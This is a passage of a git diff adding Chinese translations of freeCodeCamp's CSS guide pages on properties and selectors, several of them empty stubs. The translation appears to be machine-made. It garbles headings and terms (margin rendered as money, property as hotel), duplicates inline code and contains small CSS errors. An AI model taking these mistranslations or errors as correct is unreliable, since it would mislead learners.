--- /dev/null
+++ b/client/src/guide/chinese/css/properties/font-family-property/index.md
@@ -0,0 +1,52 @@
+---
+title: Font Family Property
+localeTitle: 字体系列属性
+---
+## 字体系列属性
+
+字体系列属性是CSS中的属性。开发人员使用它来更改网站文本的字体系列（或“字体”），或网站文本的一部分。
+
+字体的例子包括Arial，Georgia，Times New Roman等等！
+
+要更改文本部分的字体，请键入特定文本的选择器和一对大括号。在括号内，键入`font-family:`然后键入`font-family:`名称。如果字体的名称包含多个单词，则需要使用单引号或双引号。否则，不需要报价。
+
+```html
+
+<p>This font will be in Times New Roman.</p> 
+```
+
+```css
+p { 
+  font-family: 'Times New Roman'; 
+ } 
+```
+
+但是，许多不同的人使用不同的计算机浏览全球网络。这意味着不是每个人都会在他们的计算机上安装Times New Roman。要帮助这些用户，您应该添加后备字体。后备字体是浏览器在第一种字体不可用时使用的其他字体。在第一个字体后添加逗号，并添加第一个后备字体的名称。您可以使用多个后备字体。
+
+```html
+
+<p>This font may or may not be in Lato.</p> 
+```
+
+```css
+p { 
+  font-family: Lato, Helvetica, Georgia; 
+  /* Helvetica and Georgia are fallback fonts */ 
+ } 
+```
+
+如果用户没有先安装Lato，那么浏览器将尝试使用Helvetica。如果用户也没有Helvetica，那么浏览器将尝试使用Georgia。如果用户没有Georgia，浏览器将使用用户计算机上安装的字体。
+
+对于后备字体，您可以使用像Georgia这样的命名字体。您还可以使用“sans-serif”，“serif”，“monospace”等常规类型。 Sans-serif字体，如Lato，是字母和数字末尾没有小行的字体。 Serif字体，如Times New Roman，在字母和数字的末尾使用小行。等宽字体，如Consolas，字母和数字都是相同的宽度。
+
+```html
+
+<p>This font may or may not be in Lato.</p> 
+```
+
+```css
+p { 
+  font-family: Lato, sans-serif, monospace; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/font-property/index.md b/client/src/guide/chinese/css/properties/font-property/index.md
new file mode 100644
index 0000000000..0a086fc714
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/font-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Font Property
+localeTitle: 字体属性
+---
+## 字体属性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/font-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/font-size-property/index.md b/client/src/guide/chinese/css/properties/font-size-property/index.md
new file mode 100644
index 0000000000..b811ce1202
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/font-size-property/index.md
@@ -0,0 +1,99 @@
+---
+title: Font Size Property
+localeTitle: 字体大小属性
+---
+## 字体大小属性
+
+### 定义和用法
+
+`font-size`属性用于设置元素字体的大小。以下是此属性的默认语法。
+
+```css
+font-size:medium|xx-small|x-small|small|large|x-large|xx-large|smaller|larger|length|initial|inherit; 
+```
+
+如上所示，此属性可以采用多个值。默认值为_medium_ ，从_xx-small_到_xx-large的_值将字体大小设置为从非常小到非常大（如服装尺寸）。 _较小_和_较大的_值将字体大小设置为小于父元素的字体大小，并分别大于父元素的字体大小。尽管有上述值，但最常用的值是长度单位。长度单位可以包括： **px** ， **％** ， **em** ， **rem**和**pt** 。
+
+### 长度单位解释
+
+#### PX
+
+您可以使用\* _px_单位为元素设置固定的字体大小（以像素为单位）。一个像素是用户屏幕上的一个点。由于像素提供固定的字体大小，因此字体大小无法响应。这是一个负面因素，因为字体大小在不同的屏幕尺寸上可能看起来不太好，您必须使用媒体查询来缩放字体。
+
+**例：**
+
+```css
+p { 
+  font-size: 20px; 
+ } 
+```
+
+**结果：** ![例一](https://image.prntscr.com/image/TI_29z3FRO20dJD2Dc7JJA.png)
+
+#### ％
+
+您可以使用百分比**％**单位设置相对于body元素字体大小的字体大小。默认值为16px，因此100％将等于16px。如果更改了正文的字体大小，则正文中包含的值为百分比的任何元素的字体大小也将更改。此单元允许在各种屏幕尺寸上缩放字体。
+
+**例：**
+
+```css
+p { 
+  font-size: 120%; 
+ } 
+```
+
+**结果：** ![例二](https://image.prntscr.com/image/P9HTpWbETeyjZhxzf9z-SA.png) 上面的代码将字体大小更改为默认字体大小的120％，即16px。
+
+#### EM
+
+可以用于字体大小的另一个单元是**em**单元。一个**em**单位等于最近父元素的默认字体大小。这意味着2em将是字体大小的两倍，而4em将是字体大小的4倍。 **em**单元正在变得越来越流行，因为它可以扩展并且适合移动设备。
+
+**例：**
+
+```css
+p { 
+  font-size: 1.4em; 
+ } 
+```
+
+**结果：** ![例三](https://image.prntscr.com/image/AeCJ0TCbRHqOTAFJ9CYNUQ.png) 上面的代码将段落的字体大小设置为其最近父节点（即body元素）的字体大小的1.4倍。 body元素的默认字体大小为16px，因此该段的字体大小为1.4 \* 16 = 22.4px。
+
+#### REM
+
+**rem**单元与**em**单元非常相似，但字体大小相对于根元素的默认字体大小。根元素是`<html>`元素。
+
+**例：**
+
+```css
+html { 
+    font-size: 12px; 
+ } 
+ p { 
+    font-size: 1.4rem; 
+ } 
+```
+
+**结果：** ![例四](https://image.prntscr.com/image/V5bn69UmSPOHSVM5YSAcyw.png) 上面的段落有1.4em的字体大小。这次根元素的字体大小已更改为12px，因此段落的字体现在为12 \* 1.4 = 16.8px。 **rem**单元不考虑body元素的字体，尽管它仍然是16px。
+
+#### PT
+
+字体大小的最终单位是点（ **pt** ）值。此值与文本的实际大小相关。一个**PT**等于在纸上1/72英寸，所以72pt等于1英寸。点值在纸上是准确的，但在不同的浏览器上看起来可能不同。仅当您需要打印具有精确字体大小的页面时，此单位才有用。 **pt**单元不可扩展。
+
+**例：**
+
+```css
+p { 
+  font-size: 16pt; 
+ } 
+```
+
+**结果：** ![例五](https://image.prntscr.com/image/IyOOr_WCT963wa0DoWyoOg.png) 上面的字体大小是16pt。
+
+如果您想阅读有关此主题的更多信息，我已在下面附上了一些文章链接。
+
+#### 更多信息：
+
+*   https://css-tricks.com/css-font-size/
+*   https://www.w3schools.com/cssref/pr _font_ font-size.asp
+*   https://css-tricks.com/confused-rem-em/
+*   https://kyleschaeffer.com/development/css-font-size-em-vs-px-vs-pt-vs/
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/font-style-property/index.md b/client/src/guide/chinese/css/properties/font-style-property/index.md
new file mode 100644
index 0000000000..dc96181fd4
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/font-style-property/index.md
@@ -0,0 +1,19 @@
+---
+title: Font Style Property
+localeTitle: 字体样式属性
+---
+## 字体样式属性
+
+`font-style`属性允许您更改字体样式，这意味着您可以使字体变为斜体。此属性接受以下值：
+
+*   `normal` - 默认值。
+*   `italic` - 字体通过选择字体系列中分类为斜体的字体来显示斜体。
+*   `oblique` - 在其字体系列中被分类为倾斜的字体被使用。
+
+`Italic`和`oblique`可能看起来相似。据[MDN](https://developer.mozilla.org/en-US/) _倾斜，只是倾斜版的常规脸_ 。  
+您还可以在提供`oblique`值时指定倾斜度字体的角度。如果未提供角度，则默认使用14度。
+
+#### 更多信息：
+
+*   [MDN - 字体样式](https://developer.mozilla.org/en-US/docs/Web/CSS/font-style)
+*   [CSS-Tricks - 字体样式](https://css-tricks.com/almanac/properties/f/font-style/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/font-variant-property/index.md b/client/src/guide/chinese/css/properties/font-variant-property/index.md
new file mode 100644
index 0000000000..fffec2da26
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/font-variant-property/index.md
@@ -0,0 +1,25 @@
+---
+title: Font Variant
+localeTitle: 字体变体
+---
+## 字体变体属性
+
+font-variant属性最常用于将目标文本更改为小型大写字母。默认值是`normal` 。
+
+```css
+p { 
+  font-variant: small-caps; 
+ } 
+```
+
+该酒店还接受`all-small-caps` ， `petite-caps` `titling-caps` ， `unicase` `all-petite-caps` ， `titling-caps`和`unicase` ;然而，这些是CSS3中的新功能，但尚未得到很好的支持。
+
+请注意，如果在HTML标记中使用大写，则会覆盖小大写字母值，从而产生常规大写字母。如果要将标记保持为大写，但使用CSS更改为小型大写，只需将`text-transform: lowercase`与小型大写声明一起设置`text-transform: lowercase` 。
+
+虽然小型大写字母可以为您的排版增添额外的优雅，但设计师建议仅在它们实际内置于字体中时才使用它们。 “假”小型大写字母是由大写字母计算机生成的缩小版本。另一方面，“真正的”小型帽子由类型设计者单独绘制，并且看起来比“假”的更大和更胖。
+
+#### 更多信息：
+
+[黑客设计](https://designforhackers.com/blog/small-caps/)
+
+[MDN上的字体变体](https://developer.mozilla.org/en-US/docs/Web/CSS/font-variant)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/font-weight-property/index.md b/client/src/guide/chinese/css/properties/font-weight-property/index.md
new file mode 100644
index 0000000000..644527292f
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/font-weight-property/index.md
@@ -0,0 +1,22 @@
+---
+title: Font Weight Property
+localeTitle: 字体重量属性
+---
+## 字体重量属性
+
+使用`font-weight`属性可以设置更高或更低的`font-weight` 。可用于`font-weight`的值是`normal` ， `bold` ， `lighter` ， `bolder`和numeric值。
+
+```css
+  font-weight: lighter; 
+  font-weight: bolder; 
+  font-weight: bold; 
+  font-weight: light; 
+  font-weight: 100; 
+  font-weight: 900; 
+```
+
+较粗和粗的值可增加字体和光线的重量，减轻重量。
+
+#### 更多信息
+
+[MDN文档](https://developer.mozilla.org/en-US/docs/Web/CSS/font-weight)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/index.md b/client/src/guide/chinese/css/properties/index.md
new file mode 100644
index 0000000000..3d1fbbd3bd
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/index.md
@@ -0,0 +1,7 @@
+---
+title: Properties
+localeTitle: 属性
+---
+#### 条款草案：
+
+CSS属性会影响网站中元素的显示方式。有关如何使用属性 - 值对构造CSS规则的说明，以及示例
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/letter-spacing-property/index.md b/client/src/guide/chinese/css/properties/letter-spacing-property/index.md
new file mode 100644
index 0000000000..c67a3ee67a
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/letter-spacing-property/index.md
@@ -0,0 +1,29 @@
+---
+title: Letter Spacing Property
+localeTitle: 字母间距属性
+---
+## 字母间距属性
+
+letter-spacing属性调整文本块中所有字母之间的间距。它在排版术语和具有高级类型设置选项的软件中也称为“跟踪”。该属性接受`px`和`em`长度值，包括负值。
+
+```css
+.first-example { 
+  letter-spacing: 3px; 
+ } 
+ .second-example { 
+  letter-spacing: -1px; 
+ } 
+ .third-example { 
+  letter-spacing: 0.5em; 
+ } 
+```
+
+![CSS的结果](https://github.com/kaithrendyle/guide-photos/blob/master/letter-spacing.png)
+
+一般来说，最好使用相对单位（ `em` ），因为间距总是相对于你声明的字体大小。
+
+在调整字母间距时考虑易读性非常重要。如果字母太靠近，它们会显得狭窄而难以阅读。另一方面，如果字母相距太远，它们可能不会读作单词，而是作为单个字母。这也可能影响屏幕阅读器如何向低视力人群大声朗读文本。
+
+通常，小写字母通常不需要调整字母间距。如果间距看起来过紧，则在使用大写部分时可能会发现需要进行调整。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/line-height-property/index.md b/client/src/guide/chinese/css/properties/line-height-property/index.md
new file mode 100644
index 0000000000..1656db1ca3
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/line-height-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Line Height Property
+localeTitle: 线高属性
+---
+## 线高属性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/line-height-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/list-style-type-property/index.md b/client/src/guide/chinese/css/properties/list-style-type-property/index.md
new file mode 100644
index 0000000000..514f59edb5
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/list-style-type-property/index.md
@@ -0,0 +1,19 @@
+---
+title: List Style Type Property
+localeTitle: 列表样式类型属性
+---
+## 列表样式类型属性
+
+此属性更改列表项标记的外观。默认值为`disc` 。如果您不想显示项目标记，也可以给出`none`值。它是速记`list-style`属性的一部分。
+
+以下是一组列表，指出一些可能的关键字及其各自的结果。可以在[MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/list-style-type)上找到更完整的列表，但请注意，某些较新的关键字可能会限制浏览器支持。
+
+![列举示例](https://github.com/kaithrendyle/guide-photos/blob/master/lists-1.png)
+
+![列举示例](https://github.com/kaithrendyle/guide-photos/blob/master/lists-2.png)
+
+\*注意： `upper-latin`和`upper-alpha` `upper-latin`生成相同的结果， `lower-latin`和`lower-alpha` `lower-latin`也是如此。唯一的区别是IE6或IE7不支持`upper-latin`和`lower-latin` 。
+
+#### 更多信息：
+
+[MDN上的List-style-type属性](https://developer.mozilla.org/en-US/docs/Web/CSS/list-style-type)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/margin-property/index.md b/client/src/guide/chinese/css/properties/margin-property/index.md
new file mode 100644
index 0000000000..1e65a3122a
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/margin-property/index.md
@@ -0,0 +1,76 @@
+---
+title: Margin Property
+localeTitle: 保证金财产
+---
+## 保证金财产
+
+margin属性是元素周围的空间，而不是padding，它是元素中的空间。边距是透明的，是Box模型中最外层的元素（见下图）。
+
+![框模型图](https://css-tricks.com/wp-content/csstricks-uploads/thebox.png)
+
+资料来源：https：//css-tricks.com/the-css-box-model/
+
+### 设定保证金
+
+有多种方法可以设置元素的边距。
+
+简单的方法......
+
+```css
+  margin: 10px; 
+```
+
+这将在元素周围放置10个像素的空间。
+
+您还可以在元素的每一侧放置不同数量的空间。例如：
+
+```css
+  margin-top: 10px; 
+  margin-bottom: 15px; 
+  margin-left: 20px; 
+  margin-right: 25px; 
+```
+
+但是，在定义元素的不同边时，可以使用简写。它从顶部开始，顺时针绕着元素（顶部，右侧，底部，左侧）移动。例如，about代码将用shorhand写成：
+
+```css
+  margin: 10px 25px 15px 25px; 
+```
+
+另外，如果底部和顶部边距相同，左边距和右边距相同，则可以这样写：
+
+```css
+  margin: 10px 20px; 
+```
+
+顶部和底部边距为10像素，左右边距为20像素。
+
+### 其他财产价值
+
+auto - 浏览器计算边距。
+
+initial - 将属性设置为其初始值
+
+inherit - element从其父元素继承边距
+
+### 测量空间
+
+就像有多种设置保证金的方法一样，也有多种方法可以衡量保证金。
+
+px - 像素测量，屏幕空间的标准测量单位。
+
+％ - 屏幕百分比。这将使元素随浏览器缩小和增长，并且是响应式网页设计的推荐测量单位之一。
+
+em - 相对于当前元素的字体大小的大小单位。
+
+rem - 相对于页面根元素的font-size的大小单位。
+
+[这](https://www.w3schools.com/CSSref/css_units.asp)是CSS单元的指南。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+*   [W3学校](https://www.w3schools.com/CSSref/pr_margin.asp)
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/margin)
+*   [CSS技巧](https://css-tricks.com/almanac/properties/m/margin/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/overflow-property/index.md b/client/src/guide/chinese/css/properties/overflow-property/index.md
new file mode 100644
index 0000000000..a19a7e7183
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/overflow-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Overflow Property
+localeTitle: 溢出属性
+---
+## 溢出属性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/overflow-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/padding-property/index.md b/client/src/guide/chinese/css/properties/padding-property/index.md
new file mode 100644
index 0000000000..604e8135c5
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/padding-property/index.md
@@ -0,0 +1,17 @@
+---
+title: Padding Property
+localeTitle: 填充属性
+---
+## 填充属性
+
+CSS `padding`属性在元素的内容和边框之间添加内部空间。您可以对元素的特定边使用`padding-top` ， `padding-right` ， `padding-bottom`和`padding-left` ，但`padding`是所有这些属性的简写版本。如果：
+
+*   提供一个值，它将适用于元素的所有方面
+*   提供两个值，第一个值将应用顶部和底部，第二个值将应用于元素的左侧和右侧。
+*   提供三个值，第一个值将应用于顶部，第二个值将应用于左侧和右侧，第三个值将应用于元素的底部。
+*   提供了四个值，值将按以下顺序应用：顶部，右侧，底部，左侧。
+
+#### 更多信息：
+
+*   [MDN - 填充](https://developer.mozilla.org/en-US/docs/Web/CSS/padding)
+*   [CSS-Tricks - 填充](https://css-tricks.com/almanac/properties/p/padding/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/position-property/index.md b/client/src/guide/chinese/css/properties/position-property/index.md
new file mode 100644
index 0000000000..8c5c9ddffa
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/position-property/index.md
@@ -0,0 +1,21 @@
+---
+title: Position Property
+localeTitle: 职位财产
+---
+## 职位财产
+
+position属性指定用于元素的定位方法的类型。它有五个关键字值：
+
+```css
+    .static         { position: static; } 
+    .relative       { position: relative; } 
+    .sticky         { position: sticky; } 
+    .fixed          { position: fixed; } 
+    .absolute       { position: absolute; } 
+```
+
+#### 更多信息：
+
+文件： [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/position)
+
+浏览器支持： [caniuse](http://caniuse.com/#search=position)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/text-align-property/index.md b/client/src/guide/chinese/css/properties/text-align-property/index.md
new file mode 100644
index 0000000000..bd1808ac0e
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/text-align-property/index.md
@@ -0,0 +1,20 @@
+---
+title: Text Align Property
+localeTitle: 文字对齐属性
+---
+## 文字对齐属性
+
+text-align属性指定元素中文本的水平对齐方式。
+
+```css
+    .text-align { 
+        /* List of keyword values of text-align property*/ 
+        text-align: left|right|center|justify|initial|inherit; 
+    } 
+```
+
+#### 更多信息：
+
+文件： [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)
+
+浏览器支持：它被归类为“支持良好的子集”，因此无需担心浏览器支持
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/text-decoration-property/index.md b/client/src/guide/chinese/css/properties/text-decoration-property/index.md
new file mode 100644
index 0000000000..68fb221fee
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/text-decoration-property/index.md
@@ -0,0 +1,24 @@
+---
+title: Text Decoration Property
+localeTitle: 文字装饰属性
+---
+## 文字装饰属性
+
+text-decoration属性指定添加到文本的装饰。它有6个可能的值：
+
+```css
+    .none {text-decoration: none} 
+    .underline {text-decoration: underline} 
+    .line-through {text-decoration: line-through} 
+    .overline {text-decoration: overline} 
+    .initial {text-decoration: initial} 
+    .inherit {text-decoration: inherit} 
+```
+
+**注意** ：在CSS3中，您可以使用text-decoration-color属性更改装饰的颜色，否则颜色与文本的颜色相同。
+
+#### 更多信息：
+
+文档： [Mozilla开发者网络](https://developer.mozilla.org/en-US/docs/Web/CSS/text-decoration)
+
+浏览器支持： [Caniuse](http://caniuse.com/#search=text-decoration)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/text-indent-property/index.md b/client/src/guide/chinese/css/properties/text-indent-property/index.md
new file mode 100644
index 0000000000..fccfb46e77
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/text-indent-property/index.md
@@ -0,0 +1,35 @@
+---
+title: Text Indent Property
+localeTitle: 文本缩进属性
+---
+## 文本缩进属性
+
+`text-indent` css属性指定在块中的文本行之前放置的缩进量（空白空间）。默认情况下，它仅控制块的第一个格式化行的缩进，但`hanging`和`each-line`关键字可用于更改此行为。
+
+**关键词**
+
+`hanging` - 压缩会影响块容器的第一行以及强制换行后的每一行，但不会影响软换行后的行。
+
+`each-line` - 反转哪些行缩进。除第一行之外的所有行都将缩进。
+
+**句法**
+
+```css
+  /* <length> values */ 
+  text-indent: 40px; 
+ 
+  /* <percentage> value relative to the containing block width */ 
+  text-indent: 10%; 
+ 
+  /* Keyword values */ 
+  text-indent: 2em each-line; 
+  text-indent: 2em hanging; 
+  text-indent: 2em hanging each-line; 
+```
+
+_注意：目前对关键字`hanging`和`each-line`的支持仅在实验Web平台功能标志后面提供_
+
+### 更多信息：
+
+*   [MDN Doc on `text-indent`](https://developer.mozilla.org/en-US/docs/Web/CSS/text-indent)
+*   [浏览器支持`text-indent`](http://caniuse.com/#feat=css-text-indent)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/text-transform-property/index.md b/client/src/guide/chinese/css/properties/text-transform-property/index.md
new file mode 100644
index 0000000000..aee02ba88a
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/text-transform-property/index.md
@@ -0,0 +1,34 @@
+---
+title: Text Transform Property
+localeTitle: 文本转换属性
+---
+## 文本转换属性
+
+CSS中的`text-transform`属性控制文本大小写和大小写，并允许这样的控制，而不依赖于写入的原始文本。
+
+此属性最常用的值是`lowercase` ， `uppercase`和`capitalize` 。
+```
+<style> 
+ .lowercased { 
+  text-transform: lowercase; 
+ } 
+ 
+ .uppercased { 
+  text-transform: uppercase; 
+ } 
+ 
+ .capitalized { 
+  text-transform: capitalize; 
+ } 
+ </style> 
+ 
+ <p class="uppercased">this text was lowercase.</p> <!-- = THIS TEXT WAS LOWERCASE. --> 
+ <p class="lowercased">THIS TEXT WAS UPPERCASE.</p> <!-- = this text was uppercase. --> 
+ <p class="capitalized">this text wasn't capitalized.</p> <!-- = This Text Wasn't Capitalized. --> 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/text-transform)
+
+[CSS-技巧](https://css-tricks.com/almanac/properties/t/text-transform/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/vertical-align-property/index.md b/client/src/guide/chinese/css/properties/vertical-align-property/index.md
new file mode 100644
index 0000000000..b7c32fd2f3
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/vertical-align-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Vertical Align Property
+localeTitle: 垂直对齐属性
+---
+## 垂直对齐属性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/vertical-align-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/visibility-property/index.md b/client/src/guide/chinese/css/properties/visibility-property/index.md
new file mode 100644
index 0000000000..fe9bba6aeb
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/visibility-property/index.md
@@ -0,0 +1,32 @@
+---
+title: Visibility Property
+localeTitle: 可见性属性
+---
+## 可见性属性
+
+Visibility属性可用于控制任何元素的可见性。默认值为`visibility: visible;`
+
+#### 可能的值：
+
+可见性属性可以有5个可能的值。
+
+1.  `visible` ：它是显示元素的默认值。
+2.  `hidden` ：此值隐藏元素但保留元素占用的布局或空间。
+3.  `collapse` ：此值类似于hidden，但适用于表行或列。它隐藏行或列内容。
+4.  `initial` ：这会将属性设置为其默认值（可见）。
+5.  `inherit` ：这继承了其父元素的属性值。
+
+#### 与其他财产的异同：
+
+1.  不透明度： `visibility`属性和`opacity`属性之间的差异，不透明度可用于淡入淡出和元素。 `visibility: hidden;`和`opacity: 0;`对元素有类似的影响。
+    
+2.  显示：可见性之间的唯一区别：隐藏;并显示：无;就是这样，后者也删除了元素占用的布局或空间。
+    
+
+#### 浏览器兼容性
+
+这是一个CSS2属性，与所有主流浏览器兼容。
+
+#### 更多信息：
+
+[CSS可见性 - w3school](https://www.w3schools.com/cssref/pr_class_visibility.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/white-space-property/index.md b/client/src/guide/chinese/css/properties/white-space-property/index.md
new file mode 100644
index 0000000000..d42d768bd6
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/white-space-property/index.md
@@ -0,0 +1,36 @@
+---
+title: White Space Property
+localeTitle: 白色空间财产
+---
+## 白色空间财产
+
+white-space属性设置如何在单词之间显示空格。
+
+#### 句法
+
+白色空间：正常| nowrap |前|预行|预包装|继承
+
+#### 例
+```
+p { 
+  white-space: nowrap; 
+ } 
+```
+
+#### 值
+
+正常：默认值。空白的序列将折叠成单个空格。必要时文本将换行。 Nowrap：空格的序列将折叠成一个空格。文本永远不会换行到下一行。 Pre：浏览器保留空白。文本仅包含换行符。像这样的行为
+
+ HTML中的标记。 
+预行：空白序列将折叠成单个空格。必要时文本将换行。 
+预包装：浏览器保留空白。必要时文本将换行。 
+ Initial：将此属性设置为其默认值。 
+继承：从其父元素继承此属性。 
+
+#### 资源： 
+
+ [W3schools的白色空间](https://www.w3schools.com/cssref/pr_text_white-space.asp) 
+
+#### 更多信息： 
+
+ [MDN上的空白区域](https://developer.mozilla.org/en-US/docs/Web/CSS/white-space) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/width-property/index.md b/client/src/guide/chinese/css/properties/width-property/index.md
new file mode 100644
index 0000000000..5908955c9a
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/width-property/index.md
@@ -0,0 +1,25 @@
+---
+title: Width Property
+localeTitle: 宽度属性
+---
+## 宽度属性
+
+width属性设置元素的宽度。它可以是关键字值，长度值（任何值后跟CSS单位，如px或em），百分比，或者它可以由它的父级继承。默认情况下，它的值是auto。
+
+**注意** ：width属性不包括填充，边框或边距;它设置元素的填充，边框和边距内的区域宽度！
+
+```css
+    .length-value {width: 100px;} 
+    .percentage {width: 50%;} 
+    .auto {width: auto;} 
+    .inherit {width: inherit;} 
+    .initial {width: initial;} 
+```
+
+**注意** ：min-width和max-width属性覆盖宽度。
+
+#### 更多信息：
+
+文件： [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/width)
+
+浏览器支持：它被归类为“支持良好的子集”，因此无需担心浏览器支持
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/properties/z-index-property/index.md b/client/src/guide/chinese/css/properties/z-index-property/index.md
new file mode 100644
index 0000000000..44cd549c90
--- /dev/null
+++ b/client/src/guide/chinese/css/properties/z-index-property/index.md
@@ -0,0 +1,27 @@
+---
+title: Z Index Property
+localeTitle: 使用索引属性
+---
+## Z指数属性
+
+z-index属性指定元素的堆栈顺序。 网页上的任何定位元素可以按特定顺序彼此重叠，模仿垂直于屏幕的第三维度。 堆栈顺序较大的元素始终位于堆栈顺序较低的元素前面。堆栈顺序由z-index控制。此属性仅适用于位置值设置为绝对值，固定值或相对值的元素。
+
+#### 句法
+
+z-index：auto | number | initial | inherit;
+
+#### 例
+```
+div { 
+  position: absolute; 
+  z-index: -1; 
+ } 
+```
+
+#### 值
+
+自动：将堆栈顺序设置为等于其父项。这是默认的。 Number：设置元素的堆栈顺序。允许使用负数。值越高，元素越高。使用相同的z-index值，下面的HTML代码中描述的元素将位于前面。 Initial：将此属性设置为其默认值。 继承：从其父元素继承此属性。
+
+#### 更多信息：
+
+[MDN上的Z-index](https://developer.mozilla.org/en-US/docs/Web/CSS/z-index) [Z-index onW3schools](https://www.w3schools.com/cssref/pr_pos_z-index.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors-reference/index.md b/client/src/guide/chinese/css/selectors-reference/index.md
new file mode 100644
index 0000000000..4e784d2f68
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors-reference/index.md
@@ -0,0 +1,11 @@
+---
+title: Selectors Reference
+localeTitle: 选择器参考
+---
+## 选择器参考
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors-reference/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/attribute/class-equals/index.md b/client/src/guide/chinese/css/selectors/attribute/class-equals/index.md
new file mode 100644
index 0000000000..489119be85
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/attribute/class-equals/index.md
@@ -0,0 +1,11 @@
+---
+title: Class Equals
+localeTitle: 等于等于
+---
+## 等于等于
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/attribute/class-equals/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/attribute/class/index.md b/client/src/guide/chinese/css/selectors/attribute/class/index.md
new file mode 100644
index 0000000000..7331a06a92
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/attribute/class/index.md
@@ -0,0 +1,29 @@
+---
+title: Class
+localeTitle: 类
+---
+## 类
+
+CSS“类”选择器用于将相同的样式应用于页面上的多个元素。想到这一点的好方法就像汽车或建筑的蓝图。在设计实际布局一次后，蓝图将允许您以相同的方式构建多个汽车或多个建筑物。
+
+### 用例
+
+与CSS“ID”不同，类名不是唯一的。因此，如果您希望这些元素应用相同的样式，则可以多次使用“类”。事实上，这将是您使用“类”的好时机。如果您希望HTML中的三个“div”元素具有蓝色背景，您可以在CSS中使用一次类，如示例中所示下面。
+```
+<html> 
+ <style> 
+  .blueBg { 
+    background-color: blue; 
+  } 
+ </style> 
+  <body> 
+    <div class="blueBg"></div> 
